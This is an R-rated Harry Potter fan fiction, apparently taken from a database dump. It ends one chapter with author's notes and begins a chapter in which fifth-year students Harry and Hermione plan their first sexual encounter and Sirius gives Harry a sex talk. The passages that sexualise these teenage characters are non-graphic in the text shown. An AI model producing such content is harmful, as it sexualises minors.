wonder.&nbsp; &#8220;They obviously didn&#8217;t know how intelligent and clever you are.&#8221;</p>\n\n<p>&#8220;Once she started speaking in front of the assembled crowd, they didn&#8217;t have a prayer to dismiss her.&nbsp; She was so impassioned that Judge Diggory was shamed into allowing her to be our barrister,&#8221; Harry said with pride.</p>\n\n<p>Ron became livid as Harry and Hermione explained how Draco Malfoy had tried to pass himself off as Ron using Polyjuice Potion.&nbsp; &#8220;I&#8217;m going to kill Malfoy.&nbsp; When the investigators from the Ministry came and started tearing apart all of our possessions looking for whatever it was they wanted, they must have found a loose hair of mine somewhere.&#8221;</p>\n\n<p>Harry nodded.&nbsp; &#8220;The ministry is riddled with spies for Voldemort.&nbsp; I don&#8217;t envy your father for working there right now.&nbsp; Oh and you didn&#8217;t hear the best part --&#8221;</p>\n\n<p>Ron leaned forward, &#8220;Go on&#8230;&#8221;</p>\n\n<p>&#8220;Fudge is no longer the Minister of Magic.&nbsp; When Hermione got to my cross-examination, I wound up regurgitating Wormtail in front of the whole gallery.&nbsp; They then had living proof that Sirius was innocent.&nbsp; Hermione got to ask some questions of that damned rat and he implicated Fudge as being a Voldemort supporter!&#8221;</p>\n\n<p>&#8220;No. Way.&#8221; Ron said with his jaw wide open.&nbsp; &#8220;But Harry, how did you get Wormtail inside of you?&#8221;</p>\n\n<p>&#8220;Oh, when we were in the forest I saw him in his rat form.&nbsp; I turned into my Animagus form and swallowed him,&#8221; Harry said matter-of-factly.</p>\n\n<p>&#8220;Ewww, and then you just threw him up in court?&nbsp; I think <i>I&#8217;m </i>gonna be sick.&nbsp; But, ah, how come Wormtail wasn&#8217;t, you know, digested?&#8221;&nbsp; Ron asked looking a bit queasy.</p>\n\n<p>&#8220;I put a spell on him before I swallowed him,&#8221; Harry explained.&nbsp; &#8220;I got the idea from that Greek Mythology book Hermione showed you.&nbsp; I thought if I could just capture him that way, then I wouldn&#8217;t have to worry about that vermin escaping again.&nbsp; I was more worried about him transforming back to his human state while inside me.&nbsp; Thankfully my spell worked to keep him safely in his rat form while in my stomach.&nbsp; Anyway, they recessed our proceedings so they could investigate Fudge.&nbsp; An hour or so later we were told that we were free to go and that Sirius&#8217;s name was cleared!&#8221; </p>\n\n<p>&#8220;Wow!&nbsp; I can&#8217;t&#8230;I can&#8217;t believe I WASN&#8217;T THERE!&#8221; Ron bellowed.&nbsp; &#8220;Of all the things we&#8217;ve been through together, why wasn&#8217;t I there for this?&#8221;</p>\n\n<p>&#8220;I think Fudge wanted you to be a ringer to provide damning testimony.&nbsp; But they couldn&#8217;t trust that you would say the things they wanted said to implicate me, so they got Malfoy to do it because he at least knows us and could try to imitate you.&nbsp; No one would be able to get away with trying to imitate Hermione,&#8221; Harry said as he gave her hand a squeeze.</p>\n\n<p>&#8220;I&#8217;m going to kill Malfoy this time,&#8221; repeated Ron coldly.</p>\n\n<p>&#8220;We&#8217;re not sure if he did this on his own or if he was under the Imperius<i>\n\n</i>curse.&nbsp; He&#8217;s still being held at the Ministry and will not be here tomorrow to take the O.W.L.s.&#8221; said Hermione.</p>\n\n<p>&#8220;Oh yeah, those,&#8221; Ron said simply.&nbsp; &#8220;Well if it turns out he wasn&#8217;t under the Imperius<i>\n\n</i>then maybe the Ministry will do us all a favour and throw his bum in Azkaban.&#8221;</p>\n\n<p>&#8220;That would be nice,&#8221; said Harry.&nbsp; &#8220;It turns out that your prediction did come true.&nbsp; I thought at first it just described Professor Figg giving birth, but it covered Sirius, Pettigrew and Fudge.&nbsp; You&#8217;re going to be an amazing prophet.&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; said Ron beginning to blush.</p>\n\n<p>Harry remembered something, &#8220;Oh and you&#8217;ll never believe this, but Snape actually complimented Hermione for her legal defence.&#8221;</p>\n\n<p>Ron shook his head muttering, &#8220;And I missed it.&#8221;</p>\n\n<p>&#8220;I think he was very grateful that he didn&#8217;t have to testify,&#8221; said Harry.&nbsp; &#8220;There&#8217;s no telling what he might have said under Veritaserum and since he&#8217;s a former Death Eater, I&#8217;m sure he&#8217;s got some <i>stories</i> to tell.&#8221;</p>\n\n<p>&#8220;That&#8217;s very true,&#8221; Hermione nodded.&nbsp; &#8220;Oh and Sirius and Professor Figg are getting married.&#8221;</p>\n\n<p>Ron threw up his hands, &#8220;That figures.&nbsp; What else happened today?&#8221;</p>\n\n<p>Harry and Hermione shared a look with one another and Ron started blushing furiously.&nbsp; Hermione then shifted in her seat.</p>\n\n<p>&#8220;Speaking of O.W.L.s, I think we should be go to bed.&nbsp; We need some sleep,&#8221; said Hermione as she stood.</p>\n\n<p>&#8220;Yeah, we should probably turn in,&#8221; Harry said as he stood.&nbsp; &#8220;Sorry I pushed you yesterday, mate.&#8221;</p>\n\n<p>&#8220;That&#8217;s okay,&#8221; Ron said.&nbsp; &#8220;I understand now why you were in such a hurry and why you couldn&#8217;t tell me anything.&#8221;</p>\n\n<p>They walked to the foot of the stairway and then Hermione turned and gave Harry a full kiss on the mouth.&nbsp; &#8220;Goodnight.&#8221;</p>\n\n<p>He watched her as she climbed the stairs with his heart feeling as light as a feather.&nbsp; &#8220;Goodnight,&#8221; he said breathlessly.</p>\n\n<p>&#8220;You sure had a full day,&#8221; said Ron.</p>\n\n<p>&#8220;Yeah, it started out that I was standing trial and could have been sentenced to a life term in Azkaban.&nbsp; We wound up clearing my godfather&#8217;s name who had been wrongly imprisoned for a crime he didn&#8217;t commit, the Minister of Magic was exposed and arrested for being corrupt, I helped to get three Death Eaters and two spies arrested, there&#8217;s going to be a full internal investigation at the Ministry of Magic, I&#8217;m going to be the best man at Sirius&#8217;s wedding and I fell in love with my best friend.&nbsp; All in all, it&#8217;s been a good day,&#8221; said Harry as he was climbing the steps with a smile that ran from ear to ear.&nbsp; </p>\n\n<p>Harry didn&#8217;t care what Ron thought of him and Hermione being together.&nbsp; Ron would have to learn how to deal with it.&nbsp; Harry knew that he probably wasn&#8217;t being fair with him, after all it had only been two weeks since he had psychically willed Ron and Hermione apart.&nbsp; Right now Harry didn&#8217;t care about fairness.&nbsp; He was in love and when he thought of Hermione&#8217;s kisses, his entire body felt incredibly warm.&nbsp; He knew what he&#8217;d be dreaming of tonight.</p>\n\n<p>***</p>\n\n<p>End notes. Sorry that I kept you hanging for so long, but I had a trip out of town and couldn&#8217;t get this chapter up any earlier.</p>\n\n<p>I&#8217;d like to thank the following people for reviewing my work: Batgirl, AnimeFanatic, Aradia Ring, Brandie, catark, chrissy, darkstar, Dream, Georgiana, Heaven, Jonesy, katrina, kinicky 21, Kristin, Krystyna, Liedral, Michelle, NAPPA, Nicole, nienie, NIGHTSTALKER, Old Wolf, SamanthaMarie, SilverDagger, Snake, and Tristan.</p>\n\n<p>There had been some comments about how people were surprised that Harry either ate or killed Pettigrew. Now you know why I he seemed a bit &#8220;cold&#8221; about it. I had to do something to distract you from the clue I had placed much earlier about Cronos regurgitating his 5 children. So, hopefully it worked for most of you. </p>\n\n<p>I also can explain a little further of why I chose Harry&#8217;s Animagus form. I had read one fanfic where Harry got to choose his Animagus form from any kind of animal. I knew that went against JKR&#8217;s thinking on that matter from the chat transcript I mentioned before. I also thought about how Pettigrew could talk with rats and Sirius with Crookshanks, so I thought with Harry&#8217;s being able to speak Parseltongue that he would be a snake if he could transform into an animal. Then I considered how that could be useful plotwise and I immediately thought of snakes swallowing rats and then it all fell into place with the story of Cronos. So there ya go.</p>\n\n<p>I&#8217;m so glad that everyone seemed to like my courtroom scene in chapter 15. It truly was one part of this story that I absolutely loved writing. I wrote the majority of it prior to writing other parts of the story. It surprised me how easy it was to twist everything that Harry had done to make it seem evil, dark and ominous. Once I started down that path I couldn&#8217;t stop. And then, I knew that Hermione would be the only one who could defend Harry, et. al., but if she and Harry had gotten together earlier, no judge would have let it happen. That&#8217;s why I kept them apart for so long. Well, that and building up the anticipation in the reader.</p>\n\n<p>Batgirl realized that this was all just an elaborate trap for Harry what with the Ministry employees capturing Sirius. You betcha, it was far more incriminating for him to attack Ministry employees than it would have been for him to do so against Avery, Crabbe, Sr., Goyle, Sr., etc. As for Percy? You&#8217;ll see more of him in the next chapter.</p>\n\n<p>I am so glad that so many of you (Aradia Ring, Batgirl, SamanthaMarie and NIGHTSTALKER) recognized that Rebecca Nurse and Cotton Mather (Mathews in my story) were actual historical figures from the Salem Witch Trials. Rebecca Nurse was a midwife and when casting about for a name for Arabella&#8217;s midwife I thought &#8211; if JKR can write Nicholas Flamel into her story, I can put Rebecca Nurse into mine. Well, not the same one because after all the historical figure was executed for the crime of being a witch, but she was exonerated posthumously! Isn&#8217;t that nice? NIGHTSTALKER does take the prize for having the most detailed explanation of those historical figures and even brought in Nathaniel Hawthorne. Kudos! </p>\n\n<p>The famous playwright Anton Chekhov once wrote &quot;one must not put a loaded rifle on the stage if no one is thinking of firing it.&quot; With that in mind, I introduced a certain prop back in Chapter Four that has not been used yet. I do like to take colourful risks with my writing. So never fear, I wouldn&#8217;t introduce that kind of prop unless I was willing to have it be used. This of course will give a slightly different meaning to the phrase &#8216;climax of a story.&#8217; So to reward you folks for waiting and also for coming up with the Salem Witch trial trivia, the cyber brownie points I promised will be in the form of some extra lines in the final chapter. Lines that I had originally written for a the love scene that were cut due to advice from one of my betas. Nothing crude, just a few more lines that are designed to drive the readers wild. So there is some difference between the story here and the one on Schnoogle.</p>\n\n<p>No more cliffhangers, but I do have a few more surprises up my sleeve.</p>\n\n<p>Stay tuned.</p> '),
	(260, 17, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Seventeen &#8211; The Most Powerful Magic of All</p>\n\n<p>The next morning, Harry was attacked while he was still in bed by Dean, Seamus and Neville when they realized that he was back.&nbsp; They bombarded him with questions until he gave them an abbreviated version of the trial and the scandal regarding former Minister Fudge.&nbsp; He and Hermione had to retell that story dozens of times before the morning editions of <i>The Daily Prophet </i>arrived by owl post.&nbsp; Harry was pleasantly surprised to see that the coverage of the trial and the removal of Fudge as Minister of Magic seemed truthful, straightforward and balanced.&nbsp; He was also happy to see a full exoneration of Sirius Black have prominent coverage on the front page.</p>\n\n<p>Harry looked up and saw Sirius and Professor Figg enter the Great Hall followed by an elderly wizarding couple carrying Soraya.&nbsp; The witch had long silver hair and was cooing over the small baby, while the wizard had long salt and pepper hair and looked like an elderly version of Sirius.&nbsp; Harry had no doubt that they had to be his godfather&#8217;s parents.&nbsp; He smiled as he saw the happy family sit down at the head table.&nbsp; Sirius saw him and motioned for Harry and Hermione to join them.</p>\n\n<p>&#8220;Mum, Dad, I&#8217;d like you to meet Harry Potter and Hermione Granger,&#8221; Sirius said introducing them.&nbsp; &#8220;Harry, Hermione, these are my parents Kathleen and Galileo Black.&#8221;</p>\n\n<p>Kathleen gave both Harry and Hermione a kiss on the cheek, &#8220;I want to thank both of you for not only believing in my son, but for working so hard to restore his good name.&nbsp; I can&#8217;t tell you how much this means to his father and me.&nbsp; We had been hoping for years that there had been some mistake made and that Sirius was innocent.&nbsp; Now we know that it wasn&#8217;t a mistake, it was a conspiracy against him.&nbsp; We cannot thank you two enough for what you have done for our family and also for the Wizarding World.&#8221;</p>\n\n<p>Galileo put his left arm around his wife and shook Harry&#8217;s hand with the other, &#8220;You are a fine young man.&nbsp; I&#8217;m glad to finally meet you.&#8221;&nbsp; He looked at Hermione and gave her a warm smile, &#8220;And Miss Granger, you have a great future ahead of you.&nbsp; I have never heard of anyone shaking the Ministry of Magic to its foundations the way that you have in one afternoon.&#8221;</p>\n\n<p>&#8220;Thank you, Mr. Black,&#8221; she replied blushing.</p>\n\n<p>&#8220;I spoke with Remus last night when I got back,&#8221; Sirius said to Harry.&nbsp; &#8220;There wasn&#8217;t much damage to the Zone.&nbsp; He thinks that the Lestranges were sent there to repeat their attack as a way to draw me out of the grounds here once Pettigrew&#8217;s trap was set.&nbsp; I don&#8217;t think it&#8217;ll take me very long to repair any charms they broke.&nbsp; I&#8217;ll be heading back there in a little while, but I want to spend some time with my folks first.&nbsp; I haven&#8217;t seen them in fifteen years.&nbsp; I never wrote to them while I was on the run, because I knew they&#8217;d be watched by the Ministry and didn&#8217;t want to endanger them.&nbsp; But now, I feel like the weight of the world has been lifted from my shoulders.&nbsp; I cannot thank you and Hermione enough.&#8221;</p>\n\n<p>Harry and Hermione chatted with them for a little while and then excused themselves to return to the Gryffindor table for breakfast.&nbsp; The buzz in the room had become quite audible as the students were all discussing the events detailed in the morning&#8217;s paper and the fact that the infamous Sirius Black was sitting up at the head table next to Professor Figg with a newborn baby.</p>\n\n<p>The next three days were spent taking the O.W.L.s and Harry felt exhausted when they were through.&nbsp; The exams were comprehensive for the entire five years of instruction they had completed.&nbsp; They were not only tested on their academic knowledge, but they had to perform practical demonstrations of their skills.&nbsp; He preferred the practical portions as he had no trouble with the transfigurations or charms, but once again he felt uninspired by the trivial information that he was expected to remember and regurgitate especially in subjects such as the History of Magic.</p>\n\n<p>On Friday when they had their Defence Against the Dark Arts class, Harry was somewhat surprised to see that Professor Figg was still teaching.&nbsp; He had wondered how she was going to handle being a new mother and a teacher at the same time.&nbsp; Halfway through the class while they were busy transcribing answers to an essay question, Kathleen Black entered the room with Soraya.&nbsp; She handed the baby to Professor Figg who discreetly covered her chest with a blanket as she breastfed the child in class.&nbsp; Harry stole a glance at Ron&#8217;s direction to see that he was blushing.&nbsp; Harry laughed inwardly when he thought about Ron&#8217;s finding breastfeeding sexually attractive.&nbsp; Then he found his own mind wandering to a few nights before when Hermione sat on his lap and unbuttoned her blouse for him.&nbsp; Harry shook his head and willed himself to concentrate at the task at hand or he&#8217;d never finish his exam. </p>\n\n<p>Harry was relieved when he received a letter later that day at dinnertime from the school&#8217;s Board of Governors saying that they were dismissing the complaint against him. &nbsp;They felt that his written testimony and rebuttals were convincing enough especially when they considered the revelations from the trial.&nbsp; All evidence pointed to him having used magic to protect the mourners and that he was not the cause of the disturbance as had been suggested.&nbsp; They also recognized that the private tutorials that had been given to him the previous summer had probably helped to save his life.&nbsp; Since it was now recognized that Voldemort had returned and that there was a strong likelihood that Harry&#8217;s life was still endangered by Dark Wizards, the Board gave him their special permission to perform magic during the summer holidays.&nbsp; They did however make the stipulation that he could not perform any spells in the presence of Muggles.</p>\n\n<p>&#8220;So I can&#8217;t hex <st1:place>Dudley</st1:place>,&#8221; Harry shrugged. </p>\n\n<p>&#8220;Are you going to move in with Sirius and Professor Figg?&#8221; Ron asked.</p>\n\n<p>&#8220;No, their house isn&#8217;t big enough,&#8221; Harry replied.&nbsp; &#8220;They only have two bedrooms and one is filled with surveillance equipment.&nbsp; I&#8217;m sure Soraya will be sleeping in their room, but there really isn&#8217;t any place for me.&nbsp; Doesn&#8217;t matter though, I&#8217;ll be spending my days with them and only crashing at night at the Dursleys.&nbsp; I&#8217;m sure I&#8217;ll sleep better through the nights listening to <st1:place>Dudley</st1:place> and Uncle Vernon snore than I would hearing a newborn cry.&#8221;</p>\n\n<p>Ron nodded at that.&nbsp; </p>\n\n<p>Neville came rushing over to the dining table and was grinning from ear to ear.</p>\n\n<p>&#8220;Harry did you hear that Malfoy isn&#8217;t coming back?&#8221; Neville said.&nbsp; &#8220;I just overheard someone say that the investigation with him is still ongoing.&nbsp; They think he may have been involved in some Death Eater activity other than just keeping his father informed of things going on in school.&nbsp; I also heard his father is now under scrutiny as well as having worked for You-Know-Who.&nbsp; The Ministry is taking their time with investigations these days and doesn&#8217;t want to rush anything.&nbsp; Anyway, it doesn&#8217;t look like Draco will be returning at all this year.&#8221;</p>\n\n<p>Harry thought of Draco&#8217;s grandmother being forced to leave school after her fifth year.</p>\n\n<p>&#8220;Hmm, maybe he&#8217;ll be a Hogwarts drop-out,&#8221; Harry said with relish.&nbsp; &#8220;I bet he wouldn&#8217;t be the first in his family not to finish here.&#8221;</p>\n\n<p>Neville started laughing so hard he shot pumpkin juice out of his nose.</p>\n\n<p>Hermione looked suspiciously at the two of them.&nbsp; &#8220;Is there something you&#8217;re not telling me?&#8221;</p>\n\n<p>&#8220;It&#8217;s a private joke,&#8221; Neville answered smiling and wiping his nose.&nbsp; &#8220;Oh that stuff burns.&#8221;</p>\n\n<p>*</p>\n\n<p>Harry found that his thoughts were now totally preoccupied with Hermione.&nbsp; She was concerned about being a prefect and the rules against any public displays of affection.&nbsp; So while they weren&#8217;t trying to actively keep their new relationship a secret, it seemed to work out that way.&nbsp; She wanted to keep their interactions discreet, but she still found ways to drive him crazy.&nbsp; She normally sat next to him at mealtimes, but now she sat just a little closer to him.&nbsp; Sometimes she wouldn&#8217;t ask for food to be passed to her and instead would simply reach over to get the dish causing her thigh to brush up against his leg.&nbsp; This would send shockwaves throughout Harry&#8217;s body.&nbsp; </p>\n\n<p>It also seemed that the common room was never empty.&nbsp; Students had been staying up until all hours of the night cramming for exams and there was always at least one student there at all times.&nbsp; After exam week was over, there were still students hanging around the common room.&nbsp; Now they were playing games, partying and telling jokes until the wee hours of the night.</p>\n\n<p>Harry and Hermione had been able to sneak a few stolen kisses in the stairwells, but Harry longed for uninterrupted time alone with her.&nbsp; He finally came to realize what he had wanted, but had to wait to talk with her privately about it.&nbsp; A few hours before the leaving feast was set to begin, he suggested that they walk down to Hagrid&#8217;s hut and pay their large friend a visit.</p>\n\n<p>&#8220;Hagrid, I need to talk with Hermione about something,&#8221; Harry said quietly.&nbsp; &#8220;I don&#8217;t want there to be any chance that anyone could overhear us.&nbsp; So could you go somewhere for a couple minutes?&#8221;</p>\n\n<p>Hagrid looked over at Hermione and smiled.&nbsp; &#8220;Sure Harry.&nbsp; I was wondrin&#8217;, could I borrow yer broomstick?&nbsp; There&#8217;s somethin&#8217; I need ta get fer Sirius.&#8221;</p>\n\n<p>&#8220;Umm, sure.&nbsp; I&#8217;ll bring it to you,&#8221; said Harry sounding perplexed.&nbsp; </p>\n\n<p>&#8220;Fang!&nbsp; Come &#8216;ere.&nbsp; It&#8217;s time fer a lil&#8217; walk.&nbsp; &#8216;Scuse me, Hermione but I don&#8217; want Fang to mess up me house.&nbsp; I&#8217;ll be back in a few,&#8221; said Hagrid as he hurriedly took the big boarhound outside.</p>\n\n<p>Hermione gave Harry a great smile as she launched herself at him.&nbsp; She slammed him against the wall between the windows.&nbsp; They started to kiss passionately and he could feel their kiss deepening very quickly.&nbsp; Harry broke the kiss before he lost all of his ability to concentrate.</p>\n\n<p>&#8220;Hermione, I need to talk with you about something.&nbsp; I want to show you how much I love you,&#8221; he paused, took her face in his hands and looked deeply into her eyes.&nbsp; &#8220;I&#8217;d like to make love with you.&#8221;</p>\n\n<p>Hermione swallowed hard, but didn&#8217;t break her gaze with Harry.&nbsp; </p>\n\n<p>&#8220;I know this is sudden and I&#8217;ll completely understand if you&#8217;re not ready or would feel uncomfortable.&nbsp; If I were a normal guy, I don&#8217;t think I&#8217;d consider bringing this subject up right now.&nbsp; It&#8217;s just after we first admitted our feelings toward one another, but I&#8217;m not a normal guy.&nbsp; I&#8217;ve felt for the last year that I&#8217;m living on borrowed time.&nbsp; I know that I&#8217;ll have to face Voldemort again and I don&#8217;t know how long my luck will hold out.&nbsp; I&#8217;m worried about your safety as well.&nbsp; I feel like I want to make love with you this soon, because I just don&#8217;t know how long we&#8217;ll have to live.&#8221;</p>\n\n<p>Hermione closed her eyes and fought back tears.&nbsp; Harry took her in his arms and stroked her hair.</p>\n\n<p>&#8220;I&#8217;m sorry about this.&nbsp; I don&#8217;t want to pressure you into anything,&#8221; he whispered in her ear.&nbsp; &#8220;Tomorrow night after the wedding reception, you&#8217;ll be alone in your dorm room.&nbsp; I&#8217;ll have Ron and Neville sleeping in mine.&nbsp; If you want, I can wait until they&#8217;re fast asleep and then sneak out using my Invisibility Cloak and come visit you.&nbsp; We can spend a few hours together and then I&#8217;ll go back to my dorm room.&nbsp; I just want to have a little privacy with you and not worry about being interrupted.&nbsp; If all we do is finish that snogging session that we started in the common room, that&#8217;ll be fine with me.&nbsp; I&#8217;m not sure what all would have happened between us if Ron hadn&#8217;t woken up that night, but I know that I was enjoying myself.&#8221;</p>\n\n<p>Hermione smiled.</p>\n\n<p>&#8220;So was I and I can&#8217;t help but relive that night in my dreams and daydreams,&#8221; she said with a husky voice.&nbsp; &#8220;Only in my dreams, we didn&#8217;t stop there.&#8221;</p>\n\n<p>&#8220;So, can I come and visit you tomorrow night?&#8221; he asked hopefully.&nbsp; &#8220;I&#8217;ll let you decide what you feel comfortable with and I will bring protection, just in case.&nbsp; Because the last thing I want is for you to get pregnant.&#8221;</p>\n\n<p>Hermione blew in his ear and then started to kiss his neck driving him wild.</p>\n\n<p>&#8220;I&#8217;ll take that as a yes,&#8221; he said as his hands roamed over her backside.&nbsp; </p>\n\n<p>*</p>\n\n<p>&nbsp; </p>\n\n<p>The leaving feast was once again a celebration of Gryffindor&#8217;s win of the House Cup.&nbsp; This had been safely secured when Dumbledore publicly made an announcement at dinner the night after he returned from the Ministry of Magic.&nbsp; He congratulated Harry for saving Sirius Black&#8217;s life and to Hermione for defending the honour of five innocent parties and exposing corruption within the Ministry.&nbsp; Harry was awarded 200 points for his efforts, while Hermione was awarded 300 points.&nbsp;&nbsp; This was enough to safely secure the House Cup to be awarded to Gryffindor again with a new record of 848 points.</p>\n\n<p>Harry couldn&#8217;t help but reflect on the leaving feast that had taken place just one year ago.&nbsp; That had been a somber occasion and one that left everyone feeling very apprehensive.&nbsp; Similarly, the welcoming feast in September had been one where Harry was looked at with great suspicion.&nbsp; Now this feast had a festive atmosphere to it and any fears about Harry Potter being a Dark Wizard in training seemed comical in retrospect.</p>\n\n<p>Harry looked up from his heaping plate of food and saw Cho giving him a friendly wave.&nbsp; She was holding hands with a good looking black haired guy from her house.&nbsp; Harry returned her smile as he realized that Cho hadn&#8217;t been trying to blow him off after all.&nbsp; He also thought she probably sensed that he and Hermione were now &#8220;more than just friends.&#8221;</p>\n\n<p>*</p>\n\n<p>The next day Harry and Sirius were getting dressed in their black wizarding tuxedos.&nbsp; Harry had pulled back his long hair into a ponytail and had a black ribbon holding it in place.&nbsp; Sirius was affixing a yellow rose boutonni&#232;re to Harry&#8217;s lapel and helping with his bowtie.&nbsp; Harry felt a little nervous.&nbsp; He knew that he needed to broach a sensitive topic with his godfather, but felt unsure of how to start.</p>\n\n<p>&#8220;Harry, I wanted to tell you that Arabella wants you to stop calling her Professor Figg.&nbsp; She is no longer your instructor and would like for you to call her Arabella.&#8221;</p>\n\n<p>&#8220;Okay.&#8221;</p>\n\n<p>&#8220;I wish we could have you move in with us, but there&#8217;s just not enough room in that small house.&nbsp; It took her years to put all those charms and enchantments in that neighbourhood and it just wouldn&#8217;t be as safe to try and move so we could all live together.&#8221;</p>\n\n<p>&#8220;I understand,&#8221; said Harry.</p>\n\n<p>&#8220;Yeah, we&#8217;ll have you come over everyday just like last summer.&nbsp; Except now, &#8216;Old Mrs. Figg&#8217; has decided to stay in Scotland and live in her late sister&#8217;s house and has sold the house in Little Whinging to her &#8216;nephew&#8217; and his wife.&#8221;</p>\n\n<p>&#8220;Are you going to continue to use aging potion?&#8221; asked Harry.</p>\n\n<p>&#8220;Nah, I only needed that to disguise myself from the Wizarding World.&nbsp; Now that I&#8217;m no longer a fugitive, I don&#8217;t feel like bothering with that.&nbsp; I shaved off my moustache for the same reason.&nbsp; I feel better looking like my old self again.&nbsp; If any of the neighbours ask, I&#8217;ll tell them that I had a facelift and dyed my hair.&nbsp; Makes me look twenty years younger and don&#8217;t I look smashing!&#8221;</p>\n\n<p>&#8220;Your teeth&#8230;they don&#8217;t look as yellow as they used to,&#8221; Harry observed.</p>\n\n<p>&#8220;Yeah, I used some Muggle teeth bleachers.&nbsp; I just couldn&#8217;t stand looking in the mirror and seeing how stained they became over years of being in prison with no dental care.&#8221;</p>\n\n<p>&#8220;Umm, Sirius,&#8221; Harry began nervously.&nbsp; &#8220;Do you remember when you told me to come to you before doing anything?&#8221;</p>\n\n<p>&#8220;Yesss,&#8221; Sirius looked at him and raised one eyebrow.&nbsp; &#8220;Are you planning on&#8230;?&#8221; </p>\n\n<p>&#8220;Uh, huh.&nbsp; Tonight,&#8221; Harry blushed.</p>\n\n<p>&#8220;Do you still have the ah&#8230;?&#8221;</p>\n\n<p>Harry nodded quickly.&nbsp; &#8220;I haven&#8217;t used them yet.&nbsp; You told me that I couldn&#8217;t do anything spontaneous and that I should tell you before&#8230;&#8221;</p>\n\n<p>&#8220;Good.&nbsp; Okay,&#8221; Sirius took a deep breath.&nbsp; &#8220;First of all, are you sure you two want to do this so soon?&nbsp; You and Hermione have only been a couple for about three weeks.&nbsp; Once you become intimate, it changes everything in a relationship.&#8221;</p>\n\n<p>&#8220;It&#8217;s all I can think about.&#8221;</p>\n\n<p>&#8220;Yes, well,&#8221; Sirius flashed him a smile with a knowing look to it, &#8220;that feeling doesn&#8217;t change after you&#8217;ve done it for the first time.&nbsp; It will still be all that you can think about.&nbsp; Especially at your age.&#8221;</p>\n\n<p>Harry gave him a pleading look, &#8220;Sirius, you don&#8217;t understand.&nbsp; I&#8217;m afraid that one of us is going to die soon and I don&#8217;t want to have either one of us regret we never got the chance to&#8230;&#8221;</p>\n\n<p>&#8220;Well, I suppose that line might actually work for you.&#8221;</p>\n\n<p>&#8220;It&#8217;s not a line,&#8221; Harry said irritated.&nbsp; &#8220;It&#8217;s how I feel.&#8221;</p>\n\n<p>&#8220;I know,&#8221; Sirius sighed.&nbsp; &#8220;You <i>are </i>marked for death.&nbsp; So am I.&nbsp; It doesn&#8217;t help matters that in a mere twenty-four hours time, Voldemort went from thinking he&#8217;d kill both of us to losing six of his followers to Azkaban.&nbsp; I&#8217;m sure his over inflated ego is still smarting from that, especially with the loss of Fudge, which has led to the mass purging of his followers and spies at the Ministry.&nbsp; But, Harry getting back to the subject at hand, you might just want to start with heavy petting.&nbsp; That generally helps girls in the transition to becoming sexually active.&#8221;</p>\n\n<p>&#8220;Sirius, when did my parents do it for the first time?&#8221; </p>\n\n<p>&#8220;Well&#8230;umm&#8230;&#8221; Sirius cleared his throat uncomfortably.&nbsp; &#8220;James and Lily didn&#8217;t really kiss until about your age.&nbsp; They had been a couple, but&#8230;&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And?&#8230;They&#8217;re dead, Sirius.&nbsp; I don&#8217;t know why you feel like you have to hide anything about them.&#8221;</p>\n\n<p>&#8220;I know, it&#8217;s just a tad uncomfortable talking about them in this way.&nbsp; I don&#8217;t think they became lovers until our seventh year, so your mother would have been in her sixth year.&#8221;</p>\n\n<p>&#8220;And Hermione and I have known each other since the first day.&nbsp; It&#8217;s not like I just met her,&#8221; Harry said defensively.</p>\n\n<p>&#8220;Yeah, well before you do anything there&#8217;s a few things you need to know.&nbsp; Girls don&#8217;t have the same level of sex drive that guys do.&nbsp; Especially at your age.&nbsp; It takes them a lot longer to become aroused.&nbsp; I&#8217;m sure you&#8217;ve discovered that it doesn&#8217;t take much to get excited.&nbsp; Heck, I remember one time seeing Professor Flitwick&#8217;s robe fly up with a slight breeze and for some reason&#8230;&#8221;</p>\n\n<p>Harry snickered.</p>\n\n<p>&#8220;Not that I <i>ever</i> found Flitwick exciting mind you,&#8221; Sirius continued.&nbsp; &#8220;What I&#8217;m trying to say is that girls don&#8217;t respond the same way as guys.&nbsp; They don&#8217;t respond to visual stimuli the way guys do.&nbsp; They respond more to mental stimulation and Harry, the human brain is the most powerful sex organ.&nbsp; Far more powerful than anything between your legs.&nbsp; And if a woman doesn&#8217;t allow herself to enjoy sex, she can allow things to physically happen to her body &#8211; but not truly respond.&#8221;</p>\n\n<p>&#8220;I don&#8217;t understand,&#8221; said Harry sounding confused.</p>\n\n<p>&#8220;Women are far more powerful sexual beings than men.&nbsp; Women have an organ whose <i>sole function</i> is for sexual pleasure.&nbsp; We have an organ that carries sperm and urine.&nbsp; It&#8217;s just not equivalent.&nbsp; Women can have multiple orgasms and are incredible sexual beings &#8211; but only if they allow themselves to experience that power.&nbsp; Many women are simply afraid of that power.&nbsp; So for some reason even if all their organs are functioning properly &#8211; some women will not allow themselves to experience ecstasy.&nbsp; There are some women who have had numerous children and have never had an orgasm because they haven&#8217;t allowed themselves to fully experience pleasure.&#8221;</p>\n\n<p>&#8220;So, what am I supposed to do?&#8221; Harry asked with his eyes wide with fear.</p>\n\n<p>&#8220;Well, first of all,&#8221; Sirius said calmly.&nbsp; &#8220;You need to be paying attention to the cues that Hermione&#8217;s body will be giving you more than the cues from your own body.&nbsp; And it&#8217;s more important to pay attention to what her body is saying more than what her lips say.&nbsp; She might say &#8216;yes&#8217; but if she stiffens up and seems rigid &#8211; stop what you are doing.&nbsp; That&#8217;s because her body is sensing something wrong.&nbsp; There are many, many people that have suffered sexual abuse as a child.&nbsp; I wish that it never happened to anyone, but you must be aware that there are many walking wounded out there.&nbsp; Anyone who has been sexually abused will have a difficult time when they are touched intimately, because it may trigger painful memories.&#8221;</p>\n\n<p>&#8220;Okay, so let&#8217;s hope she&#8217;s never been harmed in that way&#8230;&#8221;</p>\n\n<p>&#8220;Then you still need to make sure she&#8217;s ready.&nbsp; Many girls are pressured into having sex before they are ready because their boyfriends want them to.&nbsp; Hermione&#8217;s a very special lady.&nbsp; I don&#8217;t want you to do anything that might risk your relationship with her.&nbsp; The last thing you want to do is make her resent you by putting too much pressure on her.&#8221;</p>\n\n<p>&#8220;I know all that.&#8221;</p>\n\n<p>&#8220;Good.&nbsp; Just to repeat the point.&nbsp; If she&#8217;s not ready or if she tells you to stop, you can always take care of your needs by yourself.&nbsp; 